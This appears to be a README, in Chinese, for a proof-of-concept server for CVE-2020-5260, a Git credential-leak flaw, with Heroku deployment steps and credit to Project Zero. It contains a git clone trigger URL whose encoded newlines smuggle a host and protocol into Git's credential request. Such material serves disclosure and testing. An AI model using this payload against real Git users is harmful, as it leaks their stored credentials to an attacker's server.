cve-2020-5260

一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku

致谢信息

Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

触发漏洞

git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

将 PoC 部署到 Heroku

点击此按钮即可自动部署到 Heroku...

或者按照以下步骤操作...

是的，我理解为了设置这个 PoC 而需要运行 Git clone 命令的讽刺意味....

通过 https://devcenter.heroku.com/articles/heroku-cli 安装 Heroku CLI

如果尚未登录，请登录您的 Heroku 账户并按照提示创建新的 SSH 公钥。

$ heroku login

克隆仓库

使用 Git 将 cve-2020-5260 的源代码克隆到本地计算机。

$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260

部署您的更改

对刚刚克隆的代码做一些更改，然后使用 Git 将它们部署到 Heroku。

$ git add .
$ git commit -am "make it better"
$ git push heroku master